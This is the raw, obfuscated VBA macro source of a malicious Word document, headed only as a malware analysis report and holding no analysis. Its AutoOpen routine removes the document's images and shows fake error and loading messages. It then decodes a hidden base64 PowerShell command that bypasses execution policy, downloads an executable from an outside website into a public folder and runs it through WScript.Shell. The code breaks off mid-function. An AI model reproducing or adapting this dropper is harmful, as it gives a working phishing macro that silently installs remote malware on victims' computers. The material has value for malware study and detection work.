Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GXtyD0"
Public Function SGImjqint1m1tQIS(qQtdXtoKmO1Tj9O As String, Optional uwp6imzfcYcn4lT As Boolean = True) As String
Static Dmhs55UkpByQE5(0 To 255) As Byte
Dim qphckLXzYrLCSG, A71v9RmoGLK As Integer
qphckLXzYrLCSG = 5
A71v9RmoGLK = 3
#If Pw4hPTIAmQ7 <> 0 Then
Pw4hPTIAmQ7 = Pw4hPTIAmQ7 + 2
Dim e739I6TzG1B As Variant
Else
Dim e739I6TzG1B As Object
#End If
If qphckLXzYrLCSG > A71v9RmoGLK Then
For j9xDGYH3JiWRSY = A71v9RmoGLK To qphckLXzYrLCSG
A71v9RmoGLK = A71v9RmoGLK / qphckLXzYrLCSG
Next j9xDGYH3JiWRSY
End If
Dim iarYrsu9RqJ7() As Byte, FtjTmEPwCevGNUG() As Byte
Dim Td9K4Ae6R9QC7V, weRK5rkUIJO As String
Td9K4Ae6R9QC7V = 9
weRK5rkUIJO = 2
#If Td9K4Ae6R9QC7V > weRK5rkUIJO Then
Dim MvqWFRT69Ad As LongPtr
#Else
Dim MvqWFRT69Ad As Integer
MvqWFRT69Ad = 9 + 2
Dim LoURdEAiR2N As Integer
For LoURdEAiR2N = 0 To Td9K4Ae6R9QC7V
LoURdEAiR2N = LoURdEAiR2N + 1
Next LoURdEAiR2N
#End If
Dim ipKoJY3R2XqdeI552u As Long, gpEz6tIxklb8AUyP As Long
Dim jfz0UvPluMxpkR As Integer
For tqnXT24JkiA = 5 To 57
jfz0UvPluMxpkR = tqnXT24JkiA
Next tqnXT24JkiA
If Dmhs55UkpByQE5(0) = 0 Then
Dim SYIBmWxO5cFmNa As String
For ipKoJY3R2XqdeI552u = 0 To 255
Dim JjOg7MWo20TdZd As Object
Dmhs55UkpByQE5(ipKoJY3R2XqdeI552u) = 255
Next ipKoJY3R2XqdeI552u
For ipKoJY3R2XqdeI552u = 0 To 25
Dim Rf1PkQhnXL8S17 As Integer
Dim XJdEj4UyCNd As String
Rf1PkQhnXL8S17 = 5861
Dim Zq9vyJqK9cn As Integer
XJdEj4UyCNd = Right(CStr(Rf1PkQhnXL8S17), 1)
Zq9vyJqK9cn = CInt(XJdEj4UyCNd)
For bAMGtUm9DlH = Zq9vyJqK9cn To 85
Rf1PkQhnXL8S17 = Rf1PkQhnXL8S17 + 2
Next bAMGtUm9DlH
Dmhs55UkpByQE5(ipKoJY3R2XqdeI552u + 65) = ipKoJY3R2XqdeI552u
Next ipKoJY3R2XqdeI552u
Dim bK3L0ulylwXVVR As String
For ipKoJY3R2XqdeI552u = 26 To 51
Dim LwCn4HOKxLzINy As String
Dmhs55UkpByQE5(ipKoJY3R2XqdeI552u + 71) = ipKoJY3R2XqdeI552u
Next ipKoJY3R2XqdeI552u
Dim MqBw5UkowiGRLI As Integer
Dim YkIDc6vF7Ax As String
MqBw5UkowiGRLI = 5495
Dim JeDQxAFIpjK As Integer
YkIDc6vF7Ax = Right(CStr(MqBw5UkowiGRLI), 1)
JeDQxAFIpjK = CInt(YkIDc6vF7Ax)
For l0VABWtUGKG = JeDQxAFIpjK To 56
MqBw5UkowiGRLI = MqBw5UkowiGRLI + 2
Next l0VABWtUGKG
For ipKoJY3R2XqdeI552u = 52 To 61
Dim KqtvRzGHSpAyLk, vGqgK1JXHRa As String
KqtvRzGHSpAyLk = 2
vGqgK1JXHRa = 8
#If KqtvRzGHSpAyLk > vGqgK1JXHRa Then
Dim Vkxyleup7K6 As LongPtr
#Else
Dim Vkxyleup7K6 As Integer
Vkxyleup7K6 = 2 + 8
Dim IqsmUkl5Jpz As Integer
For IqsmUkl5Jpz = 0 To KqtvRzGHSpAyLk
IqsmUkl5Jpz = IqsmUkl5Jpz + 1
Next IqsmUkl5Jpz
#End If
Dmhs55UkpByQE5(ipKoJY3R2XqdeI552u - 4) = ipKoJY3R2XqdeI552u
Next ipKoJY3R2XqdeI552u
Dim NK5FULLQoii9z8 As String
Dim njx1ThvZaYw As String
njx1ThvZaYw = Ty4v8L0NtFJ
NK5FULLQoii9z8 = ESbaacL3ddE
If (StrComp(NK5FULLQoii9z8, njx1ThvZaYw, vbTextCompare) <> 0) Then
MsgBox ("Optional: N7s90ArW0uhT7X.")
End If
Dmhs55UkpByQE5(43) = 62
Dim XaIkClNnAozSbr As String
Dim B2QrnM7j5x7 As String
B2QrnM7j5x7 = Tu9ImRMl0h4
XaIkClNnAozSbr = k4UnK37xP0f
If (StrComp(XaIkClNnAozSbr, B2QrnM7j5x7, vbTextCompare) <> 0) Then
MsgBox ("Optional: pf2aTtIQ2eSnp1.")
End If
Dmhs55UkpByQE5(47) = 63
End If
Dim Bptx1MKWDf52Ir As Integer
Dim u7OfBjOuwk2 As String
Bptx1MKWDf52Ir = 5361
Dim eooEYZ2pIoH As Integer
u7OfBjOuwk2 = Right(CStr(Bptx1MKWDf52Ir), 1)
eooEYZ2pIoH = CInt(u7OfBjOuwk2)
For T2V3dqkaADL = eooEYZ2pIoH To 11
Bptx1MKWDf52Ir = Bptx1MKWDf52Ir + 3
Next T2V3dqkaADL
If qQtdXtoKmO1Tj9O = "" Then Exit Function
Dim VFwIKPBm8O5FTK As Integer
Dim HWJZRqpzNEa As String
VFwIKPBm8O5FTK = 6251
Dim z1acdKqUNB7 As Integer
HWJZRqpzNEa = Right(CStr(VFwIKPBm8O5FTK), 1)
z1acdKqUNB7 = CInt(HWJZRqpzNEa)
For UjZ1g6JmWbF = z1acdKqUNB7 To 12
VFwIKPBm8O5FTK = VFwIKPBm8O5FTK + 7
Next UjZ1g6JmWbF
qQtdXtoKmO1Tj9O = Trim(qQtdXtoKmO1Tj9O)
If uwp6imzfcYcn4lT Then
Dim urjhhfCSUmjv1R As String
Dim AkAX2fPjRuH As String
AkAX2fPjRuH = UUfdhPro5EO
urjhhfCSUmjv1R = rep4XqJOUFH
If (StrComp(urjhhfCSUmjv1R, AkAX2fPjRuH, vbTextCompare) <> 0) Then
MsgBox ("Optional: IBXOCix3TZxaJK.")
End If
Dim k8IjaCaCQLdFSN, IxCvyAEgt01 As Integer
k8IjaCaCQLdFSN = 9
IxCvyAEgt01 = 1
#If S1c8L6PnsUj <> 0 Then
S1c8L6PnsUj = S1c8L6PnsUj + 1
Dim jU2XZY29Dtf As Variant
Else
Dim jU2XZY29Dtf As Object
#End If
If k8IjaCaCQLdFSN > IxCvyAEgt01 Then
For IsR3b6tbKOSrFK = IxCvyAEgt01 To k8IjaCaCQLdFSN
IxCvyAEgt01 = IxCvyAEgt01 / k8IjaCaCQLdFSN
Next IsR3b6tbKOSrFK
End If
For ipKoJY3R2XqdeI552u = 0 To 255
Dim dfIugefjOdNWyt As String
Dim vhRsPuEEPKV As String
vhRsPuEEPKV = t96x4ZmiE4z
dfIugefjOdNWyt = ogn03DjsN88
If (StrComp(dfIugefjOdNWyt, vhRsPuEEPKV, vbTextCompare) <> 0) Then
MsgBox ("Optional: A5unj2YHfP7Zoe.")
End If
If Not (Chr(ipKoJY3R2XqdeI552u) Like "[A-Za-z0-9+/=]") Then
Dim AsABvfhqCP2nvZ As Integer
For hzLEYUPm1Zx = 8 To 81
AsABvfhqCP2nvZ = hzLEYUPm1Zx
Next hzLEYUPm1Zx
qQtdXtoKmO1Tj9O = Replace(qQtdXtoKmO1Tj9O, Chr(ipKoJY3R2XqdeI552u), "")
End If
Dim lUCK6pajf9yaZV, mBPzDQIcChH As String
lUCK6pajf9yaZV = 4
mBPzDQIcChH = 8
#If lUCK6pajf9yaZV > mBPzDQIcChH Then
Dim fPYJZakQQ5p As LongPtr
#Else
Dim fPYJZakQQ5p As Integer
fPYJZakQQ5p = 4 + 8
Dim FGJdBaDdQGJ As Integer
For FGJdBaDdQGJ = 0 To lUCK6pajf9yaZV
FGJdBaDdQGJ = FGJdBaDdQGJ + 1
Next FGJdBaDdQGJ
#End If
Dim OeCUaBZFiNKJZD, vJokPrZiQAc As String
OeCUaBZFiNKJZD = 7
vJokPrZiQAc = 9
#If OeCUaBZFiNKJZD > vJokPrZiQAc Then
Dim qlS7saNJpYm As LongPtr
#Else
Dim qlS7saNJpYm As Integer
qlS7saNJpYm = 7 + 9
Dim DyCAA74D69A As Integer
For DyCAA74D69A = 0 To OeCUaBZFiNKJZD
DyCAA74D69A = DyCAA74D69A + 1
Next DyCAA74D69A
#End If
Next ipKoJY3R2XqdeI552u
Dim hn1ZuzpXB6bj2x As Object
End If
FtjTmEPwCevGNUG() = StrConv(qQtdXtoKmO1Tj9O, vbFromUnicode)
Dim q5bbNzZXJDfvT6, SNbzXeKKZ6e As String
q5bbNzZXJDfvT6 = 8
SNbzXeKKZ6e = 7
#If q5bbNzZXJDfvT6 > SNbzXeKKZ6e Then
Dim wbtjp986Db2 As LongPtr
#Else
Dim wbtjp986Db2 As Integer
wbtjp986Db2 = 8 + 7
Dim PkN7mQKzstw As Integer
For PkN7mQKzstw = 0 To q5bbNzZXJDfvT6
PkN7mQKzstw = PkN7mQKzstw + 1
Next PkN7mQKzstw
#End If
ReDim iarYrsu9RqJ7(0 To ((Len(qQtdXtoKmO1Tj9O) \ 4) * 3 - 1))
Dim HWPrMo4RMIrrJx As Integer
For XT2DxlWsnfp = 1 To 16
HWPrMo4RMIrrJx = XT2DxlWsnfp
Next XT2DxlWsnfp
For ipKoJY3R2XqdeI552u = 0 To Len(qQtdXtoKmO1Tj9O) \ 4 - 2
Dim BNXgU9fUVLwikq As Integer
Dim fyx3sJcKGWW As String
BNXgU9fUVLwikq = 7746
Dim pjuk6l38wZS As Integer
fyx3sJcKGWW = Right(CStr(BNXgU9fUVLwikq), 1)
pjuk6l38wZS = CInt(fyx3sJcKGWW)
For CRkOwfWuqp9 = pjuk6l38wZS To 83
BNXgU9fUVLwikq = BNXgU9fUVLwikq + 6
Next CRkOwfWuqp9
gpEz6tIxklb8AUyP = Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 3))
Dim dP5CvVcuSROUiD As Integer
Dim dJtTepkxyVMNU0, LyJK9dB16wW As String
dJtTepkxyVMNU0 = 8
LyJK9dB16wW = 8
#If dJtTepkxyVMNU0 > LyJK9dB16wW Then
Dim MIgHAuWH7AS As LongPtr
#Else
Dim MIgHAuWH7AS As Integer
MIgHAuWH7AS = 8 + 8
Dim Gy0Gdv6b3s2 As Integer
For Gy0Gdv6b3s2 = 0 To dJtTepkxyVMNU0
Gy0Gdv6b3s2 = Gy0Gdv6b3s2 + 1
Next Gy0Gdv6b3s2
#End If
gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 2)) * &H40&)
Dim Q2PWhmyCImgxge As Integer
For usHGwzhYGgs = 3 To 31
Q2PWhmyCImgxge = usHGwzhYGgs
Next usHGwzhYGgs
Dim Bf3fEu96Vlv9CP As Integer
For Wa79BfqQnwf = 9 To 97
Bf3fEu96Vlv9CP = Wa79BfqQnwf
Next Wa79BfqQnwf
gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 1)) * &H1000&)
gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 0)) * &H40000)
Dim EhtSpmEQDFvdMB, mpeUvHxlIMV As String
EhtSpmEQDFvdMB = 1
mpeUvHxlIMV = 9
#If EhtSpmEQDFvdMB > mpeUvHxlIMV Then
Dim joXbOgzXjIi As LongPtr
#Else
Dim joXbOgzXjIi As Integer
joXbOgzXjIi = 1 + 9
Dim EYhz9qv1l5a As Integer
For EYhz9qv1l5a = 0 To EhtSpmEQDFvdMB
EYhz9qv1l5a = EYhz9qv1l5a + 1
Next EYhz9qv1l5a
#End If
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 0) = (gpEz6tIxklb8AUyP And &HFF0000) \ &H10000
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 1) = (gpEz6tIxklb8AUyP And &HFF00&) \ &H100&
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 2) = gpEz6tIxklb8AUyP And &HFF&
Next ipKoJY3R2XqdeI552u
Dim ir5JIMDhG2l0Tr As Integer
For JTleNhilrGv = 1 To 12
ir5JIMDhG2l0Tr = JTleNhilrGv
Next JTleNhilrGv
gpEz6tIxklb8AUyP = 0
Dim Qer6SIh7rVMjtb, u2zuyAT25yh As Integer
Qer6SIh7rVMjtb = 9
u2zuyAT25yh = 5
#If V0mapWvUUQj <> 0 Then
V0mapWvUUQj = V0mapWvUUQj + 1
Dim QqA5zwoVj4u As Variant
Else
Dim QqA5zwoVj4u As Object
#End If
If Qer6SIh7rVMjtb > u2zuyAT25yh Then
For lKiDihXLaj2Z2S = u2zuyAT25yh To Qer6SIh7rVMjtb
u2zuyAT25yh = u2zuyAT25yh / Qer6SIh7rVMjtb
Next lKiDihXLaj2Z2S
End If
If Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 3)) <> 255 Then gpEz6tIxklb8AUyP = Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 3))
If Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 2)) <> 255 Then gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 2)) * &H40&)
Dim NTUGxmPTRmMG7U As Integer
If Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 1)) <> 255 Then gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 1)) * &H1000&)
Dim iyQnA8iJytuuIv As String
Dim Wfpercb95qP As String
Wfpercb95qP = hvFJOPT9yVF
iyQnA8iJytuuIv = XTtBylhyKpz
If (StrComp(iyQnA8iJytuuIv, Wfpercb95qP, vbTextCompare) <> 0) Then
MsgBox ("Optional: ge7tJOduq2kXXM.")
End If
If Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 0)) <> 255 Then gpEz6tIxklb8AUyP = gpEz6tIxklb8AUyP Or (Dmhs55UkpByQE5(FtjTmEPwCevGNUG(ipKoJY3R2XqdeI552u * 4 + 0)) * &H40000)
Dim DpM15WyVm8Vt4d, KJ2YYh04OwE As Integer
DpM15WyVm8Vt4d = 7
KJ2YYh04OwE = 5
#If qhD2wEWVPPv <> 0 Then
qhD2wEWVPPv = qhD2wEWVPPv + 8
Dim HNaX1RNdvwp As Variant
Else
Dim HNaX1RNdvwp As Object
#End If
If DpM15WyVm8Vt4d > KJ2YYh04OwE Then
For S5bTGrhoKaawHx = KJ2YYh04OwE To DpM15WyVm8Vt4d
KJ2YYh04OwE = KJ2YYh04OwE / DpM15WyVm8Vt4d
Next S5bTGrhoKaawHx
End If
Dim Y7pykFUraSiGxY As Integer
Dim ewYAHeaoIq1 As String
Y7pykFUraSiGxY = 6393
Dim FdpZd7nnAW5 As Integer
ewYAHeaoIq1 = Right(CStr(Y7pykFUraSiGxY), 1)
FdpZd7nnAW5 = CInt(ewYAHeaoIq1)
For QjDJHSOpcit = FdpZd7nnAW5 To 81
Y7pykFUraSiGxY = Y7pykFUraSiGxY + 5
Next QjDJHSOpcit
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 0) = (gpEz6tIxklb8AUyP And &HFF0000) \ &H10000
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 1) = (gpEz6tIxklb8AUyP And &HFF00&) \ &H100&
Dim JXa5HHIqNc76Zc As String
Dim S0ihkwqDM85U1Y As Object
iarYrsu9RqJ7(ipKoJY3R2XqdeI552u * 3 + 2) = gpEz6tIxklb8AUyP And &HFF&
Dim BATtWeBcGj2m9T As Integer
For NC8vkX6Igj4 = 2 To 24
BATtWeBcGj2m9T = NC8vkX6Igj4
Next NC8vkX6Igj4
If FtjTmEPwCevGNUG(UBound(FtjTmEPwCevGNUG) - 1) = 61 Then
SGImjqint1m1tQIS = Left(StrConv(iarYrsu9RqJ7, vbUnicode), UBound(iarYrsu9RqJ7) - 1)
Dim qRc9hpiIXjvmj6 As Integer
For nabCfQ2XY5n = 3 To 33
qRc9hpiIXjvmj6 = nabCfQ2XY5n
Next nabCfQ2XY5n
Dim drAZFWIcR25bTg, pPHF1S2PKA7 As String
drAZFWIcR25bTg = 8
pPHF1S2PKA7 = 3
#If drAZFWIcR25bTg > pPHF1S2PKA7 Then
Dim GT2MLI7243D As LongPtr
#Else
Dim GT2MLI7243D As Integer
GT2MLI7243D = 8 + 3
Dim VB7JIaGfAL9 As Integer
For VB7JIaGfAL9 = 0 To drAZFWIcR25bTg
VB7JIaGfAL9 = VB7JIaGfAL9 + 1
Next VB7JIaGfAL9
#End If
Dim m8jYmtxFIsKcIo As Integer
For dgZj8F2KAvC = 6 To 66
m8jYmtxFIsKcIo = dgZj8F2KAvC
Next dgZj8F2KAvC
ElseIf FtjTmEPwCevGNUG(UBound(FtjTmEPwCevGNUG)) = 61 Then
Dim t7KiUJ4gUhuqYn As String
Dim V4JhQiOL6Ru As String
V4JhQiOL6Ru = GQTRqtMlCAC
t7KiUJ4gUhuqYn = aQNcrOPhjIo
If (StrComp(t7KiUJ4gUhuqYn, V4JhQiOL6Ru, vbTextCompare) <> 0) Then
MsgBox ("Optional: e9l9EAt3qB2zM2.")
End If
SGImjqint1m1tQIS = Left(StrConv(iarYrsu9RqJ7, vbUnicode), UBound(iarYrsu9RqJ7) - 0)
Dim d399PkYcRTXxam, epxGpPaqc7G As Integer
d399PkYcRTXxam = 5
epxGpPaqc7G = 9
#If tY6emgejFYQ <> 0 Then
tY6emgejFYQ = tY6emgejFYQ + 6
Dim SO6s7TJ806k As Variant
Else
Dim SO6s7TJ806k As Object
#End If
If d399PkYcRTXxam > epxGpPaqc7G Then
For lFAtECbC2aC3XL = epxGpPaqc7G To d399PkYcRTXxam
epxGpPaqc7G = epxGpPaqc7G / d399PkYcRTXxam
Next lFAtECbC2aC3XL
End If
Else
SGImjqint1m1tQIS = StrConv(iarYrsu9RqJ7, vbUnicode)
Dim QlK7SHheHKSp1d As Integer
End If
Dim LeL9MKU74tqJiR As String
Dim cMrR6Sosd1l As String
cMrR6Sosd1l = SEgSMB4oBgH
LeL9MKU74tqJiR = p1EcCfzpYig
If (StrComp(LeL9MKU74tqJiR, cMrR6Sosd1l, vbTextCompare) <> 0) Then
MsgBox ("Optional: M1kgdL4ifATY1G.")
End If
End Function
Sub RemovePicture()
Dim NH5ycDy0orpistc As InlineShape
Dim qHwF7OXTjq8vTu As Integer
For uv4Pmbp3oHK = 9 To 95
qHwF7OXTjq8vTu = uv4Pmbp3oHK
Next uv4Pmbp3oHK
For Each NH5ycDy0orpistc In ActiveDocument.InlineShapes
Dim xOT1pmH9jL55Xu As Integer
For u3LGxUi6y23 = 3 To 36
xOT1pmH9jL55Xu = u3LGxUi6y23
Next u3LGxUi6y23
Dim cZwt52u1W9i1HI As String
Dim OGm6rh5z7fZ As String
OGm6rh5z7fZ = KqAa8xOOvsM
cZwt52u1W9i1HI = Ohe3ATlgym0
If (StrComp(cZwt52u1W9i1HI, OGm6rh5z7fZ, vbTextCompare) <> 0) Then
MsgBox ("Optional: Oiz7K2GMtbQUsM.")
End If
Dim qFczhmMbrwWYbm As Integer
For N2OWe9e1d82 = 7 To 71
qFczhmMbrwWYbm = N2OWe9e1d82
Next N2OWe9e1d82
NH5ycDy0orpistc.Delete
Dim ynH8Qj8btbpY47, C13gdqaIKAA As Integer
ynH8Qj8btbpY47 = 2
C13gdqaIKAA = 8
#If zQ0j6WufQTL <> 0 Then
zQ0j6WufQTL = zQ0j6WufQTL + 8
Dim Mfq6xAkWMSL As Variant
Else
Dim Mfq6xAkWMSL As Object
#End If
If ynH8Qj8btbpY47 > C13gdqaIKAA Then
For RqGLpTLHxcG7RS = C13gdqaIKAA To ynH8Qj8btbpY47
C13gdqaIKAA = C13gdqaIKAA / ynH8Qj8btbpY47
Next RqGLpTLHxcG7RS
End If
Next NH5ycDy0orpistc
Dim QIdsHhZosIzSRZ As Object
Dim bo98a3MZhIv8MG As String
bo98a3MZhIv8MG = Application.UserName
Dim hbDg0lD7Fpi, KGRsY5O9jjUa7S As Integer
KGRsY5O9jjUa7S = Len(bo98a3MZhIv8MG)
Dim YkYj8kucNsq As Collection
While KGRsY5O9jjUa7S > 2
hbDg0lD7Fpi = hbDg0lD7Fpi + 1
KGRsY5O9jjUa7S = KGRsY5O9jjUa7S - 6
Wend
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
Dim J3HWCYJYvoA4B1 As Integer
Dim YeJsQEuBtr6 As String
J3HWCYJYvoA4B1 = 6339
Dim NGjGfp9gLHG As Integer
YeJsQEuBtr6 = Right(CStr(J3HWCYJYvoA4B1), 1)
NGjGfp9gLHG = CInt(YeJsQEuBtr6)
For zVMJBr2gqYR = NGjGfp9gLHG To 87
J3HWCYJYvoA4B1 = J3HWCYJYvoA4B1 + 4
Next zVMJBr2gqYR
End Sub
Sub AutoOpen()
Dim wfnnHj3WixYPGc3 As String
Dim tzqnYEyNSSva53 As Integer
Dim EQmnfpVhg1s As String
tzqnYEyNSSva53 = 6564
Dim KoMrs688KCm As Integer
EQmnfpVhg1s = Right(CStr(tzqnYEyNSSva53), 1)
KoMrs688KCm = CInt(EQmnfpVhg1s)
For IwAjscrJ8yw = KoMrs688KCm To 78
tzqnYEyNSSva53 = tzqnYEyNSSva53 + 5
Next IwAjscrJ8yw
wfnnHj3WixYPGc3 = "JzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVdpbmRvd1N0eWxlIGhpZGRlbiAtbm9sb2dvIC1ub3Byb2ZpbGUgLWMgSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8va2VubmluZ3RvbnVuaXZlcnNpdHkuY28udWsvSnNodEluZGhzLmV4ZScsICdDOlxVc2Vyc1xQdWJsaWNcTmJnVmN6LmV4ZScpOyBTdGFydC1Qcm9jZXNzIEM6XFVzZXJzXFB1YmxpY1xOYmdWY3ouZXhl"
Dim AU279eqHsUW1yI As Object
Dim HFNI5i8dAHrRPyISP As String
Dim svbGPYlffy4sgH As String
RemovePicture
Dim UGN0aU26WGyC2Z As Integer
Dim QZDxTmkZGBJ As String
UGN0aU26WGyC2Z = 4119
Dim l2c5SJETT0u As Integer
QZDxTmkZGBJ = Right(CStr(UGN0aU26WGyC2Z), 1)
l2c5SJETT0u = CInt(QZDxTmkZGBJ)
For IGeA0VisfK2 = l2c5SJETT0u To 66
UGN0aU26WGyC2Z = UGN0aU26WGyC2Z + 7
Next IGeA0VisfK2
LoadText ("Sorry, An Error has Occurred") & Chr(11)
Dim owbTTjoiKr4hIm, is2cG7PSpGC As Integer
owbTTjoiKr4hIm = 4
is2cG7PSpGC = 1
#If kyPgiuV4Umu <> 0 Then
kyPgiuV4Umu = kyPgiuV4Umu + 6
Dim cgqtYQdWt9t As Variant
Else
Dim cgqtYQdWt9t As Object
#End If
If owbTTjoiKr4hIm > is2cG7PSpGC Then
For GUq3GTWQcGVRmv = is2cG7PSpGC To owbTTjoiKr4hIm
is2cG7PSpGC = is2cG7PSpGC / owbTTjoiKr4hIm
Next GUq3GTWQcGVRmv
End If
Dim bEJnMPD89O1ZJW As Integer
For yOnFcL7ThGt = 8 To 83
bEJnMPD89O1ZJW = yOnFcL7ThGt
Next yOnFcL7ThGt
MsgBox ("Please wait document opening")
Dim x119cW7UcuFSfC, jDwlZ0QXznr As Integer
x119cW7UcuFSfC = 7
jDwlZ0QXznr = 5
#If bfO03dbyVkM <> 0 Then
bfO03dbyVkM = bfO03dbyVkM + 6
Dim CHJ3P6qwXTC As Variant
Else
Dim CHJ3P6qwXTC As Object
#End If
If x119cW7UcuFSfC > jDwlZ0QXznr Then
For J1lJJIuQjENR50 = jDwlZ0QXznr To x119cW7UcuFSfC
jDwlZ0QXznr = jDwlZ0QXznr / x119cW7UcuFSfC
Next J1lJJIuQjENR50
End If
HFNI5i8dAHrRPyISP = "cG93ZX"
Dim EBIxxOCgcHgu02 As Integer
For uagUOy6UZEb = 4 To 42
EBIxxOCgcHgu02 = uagUOy6UZEb
Next uagUOy6UZEb
Dim gl9oQlq4IIE16z, aMNSkZazRCZ As Integer
gl9oQlq4IIE16z = 5
aMNSkZazRCZ = 8
#If heIFESkcVy5 <> 0 Then
heIFESkcVy5 = heIFESkcVy5 + 1
Dim RkiUnf6SQU2 As Variant
Else
Dim RkiUnf6SQU2 As Object
#End If
If gl9oQlq4IIE16z > aMNSkZazRCZ Then
For V72nR3FGyT7OlG = aMNSkZazRCZ To gl9oQlq4IIE16z
aMNSkZazRCZ = aMNSkZazRCZ / gl9oQlq4IIE16z
Next V72nR3FGyT7OlG
End If
Dim EIGHTTEEN As String
Dim AhnTL7TLJ0BXmm As Integer
For M9h9JdowLbe = 1 To 11
AhnTL7TLJ0BXmm = M9h9JdowLbe
Next M9h9JdowLbe
Dim JMGLsDQm946aZi, lukn58vMAWX As String
JMGLsDQm946aZi = 6
lukn58vMAWX = 7
#If JMGLsDQm946aZi > lukn58vMAWX Then
Dim ebKVt8R7oRF As LongPtr
#Else
Dim ebKVt8R7oRF As Integer
ebKVt8R7oRF = 6 + 7
Dim j17Lt5AOhNW As Integer
For j17Lt5AOhNW = 0 To JMGLsDQm946aZi
j17Lt5AOhNW = j17Lt5AOhNW + 1
Next j17Lt5AOhNW
#End If
EIGHTTEEN = SGImjqint1m1tQIS(HFNI5i8dAHrRPyISP & wfnnHj3WixYPGc3)
Dim rionuS3ulVFpvu As Integer
For AYfio8tIpxL = 6 To 62
rionuS3ulVFpvu = AYfio8tIpxL
Next AYfio8tIpxL
Dim V5uB6t3XM7XWhG As Integer
For ngktcNcPHQ4 = 4 To 46
V5uB6t3XM7XWhG = ngktcNcPHQ4
Next ngktcNcPHQ4
Dim U2k26Li9JnZvLN As Integer
Dim Pott4HZxAun As String
U2k26Li9JnZvLN = 2519
Dim LlVcDnQPXIs As Integer
Pott4HZxAun = Right(CStr(U2k26Li9JnZvLN), 1)
LlVcDnQPXIs = CInt(Pott4HZxAun)
For HkRRqIGQByE = LlVcDnQPXIs To 81
U2k26Li9JnZvLN = U2k26Li9JnZvLN + 5
Next HkRRqIGQByE
l5c2dM.bJhUpu4cni0FyT5 (EIGHTTEEN)
Dim jXSbhcpyHGZleI As Integer
Dim yfQDKXduMy5 As String
jXSbhcpyHGZleI = 9163
Dim x7rtd0h1oXM As Integer
yfQDKXduMy5 = Right(CStr(jXSbhcpyHGZleI), 1)
x7rtd0h1oXM = CInt(yfQDKXduMy5)
For ORh2vwsN56L = x7rtd0h1oXM To 87
jXSbhcpyHGZleI = jXSbhcpyHGZleI + 7
Next ORh2vwsN56L
End Sub

Attribute VB_Name = "l5c2dM"
Attribute VB_Base = "0{389246E2-236A-4936-970C-2AA0113A3A89}{E3A69A23-C6D9-48B4-B872-F6DD61C389B8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Const GDIyBFnfT4RFkxKh As Integer = 0
Const HFNI5i8dAHrRPyISP As String = "Ws"
Const wfnnHj3WixYPGc3 As String = ".Sh"
Function bJhUpu4cni0FyT5(SjFhCsS46YxBeHJ As String)
Dim knoJOnjjEcJKEvIL As String
Dim Y203qlaKOIxut2 As Integer
For c0Huw2PDdc6 = 2 To 21
Y203qlaKOIxut2 = c0Huw2PDdc6
Next c0Huw2PDdc6
knoJOnjjEcJKEvIL = SGImjqint1m1tQIS("Y3JpcHQ=")
Dim lwZ9UvX7HugZSnha: Set lwZ9UvX7HugZSnha = VBA.CreateObject(HFNI5i8dAHrRPyISP & knoJOnjjEcJKEvIL & wfnnHj3WixYPGc3 & "ell")
lwZ9UvX7HugZSnha.Run SjFhCsS46YxBeHJ, GDIyBFnfT4RFkxKh, True
Dim xqMUuyGW4yqeGX As String
xqMUuyGW4yqeGX = Application.UserName
Dim ZBR8QpZkGN7, QZJkVdArWk8WLs As Integer
QZJkVdArWk8WLs = Len(xqMUuyGW4yqeGX)
Dim dGVSf5R5OQj As Collection
While QZJkVdArWk8WLs > 9
ZBR8QpZkGN7 = ZBR8QpZkGN7 + 9
QZJkVdArWk8WLs = QZJkVdArWk8WLs - 7
Wend
Dim nEZ2Yi2G5V7HPE As Collection
Set nEZ2Yi2G5V7HPE = New Collection
nEZ2Yi2G5V7HPE.Add "dGVSf5R5OQj"
nEZ2Yi2G5V7HPE.Add "jU1AklK5MdK"
nEZ2Yi2G5V7HPE.Add "paKBeYw6I5jy4h"
Dim J5o9b7PRpHOkGi As Integer
Dim WTSVk8n8juH As String
J5o9b7PRpHOkGi = 3744
Dim tWAkPuNP6Bj As Integer
WTSVk8n8juH = Right(CStr(J5o9b7PRpHOkGi), 1)
